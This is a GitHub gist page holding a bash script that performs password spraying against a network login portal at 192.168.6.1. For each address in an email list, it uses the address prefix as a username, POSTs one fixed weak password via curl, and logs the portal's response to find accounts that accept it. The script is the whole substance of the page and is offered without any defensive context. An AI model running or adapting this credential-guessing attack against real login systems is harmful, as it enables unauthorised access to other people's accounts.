Skip to content

Instantly share code, notes, and snippets.

@mckelvin
Created January 3, 2013 07:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mckelvin/4441488 to your computer and use it in GitHub Desktop.
Save mckelvin/4441488 to your computer and use it in GitHub Desktop.
#!/bin/bash
RESULT_FILE=result.auto
mkdir -p account
rm -f $RESULT_FILE
for eachline in \`cat emails_gen.txt\`
do
clear
#正则获取email中@前的前缀
username=\`echo $eachline|awk -F"@" '{print $1}'\`
echo $username >> $RESULT_FILE
#弱密码密码
password="这儿是弱密码"
curl -X POST -d "DDDDD=$username&upass=$password&0MKKey=%B5%C7%C2%BC+Login" http://192.168.6.1/ | grep "Msg=" | awk -F";" '{print $1}' >> $RESULT_FILE
sleep 2
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment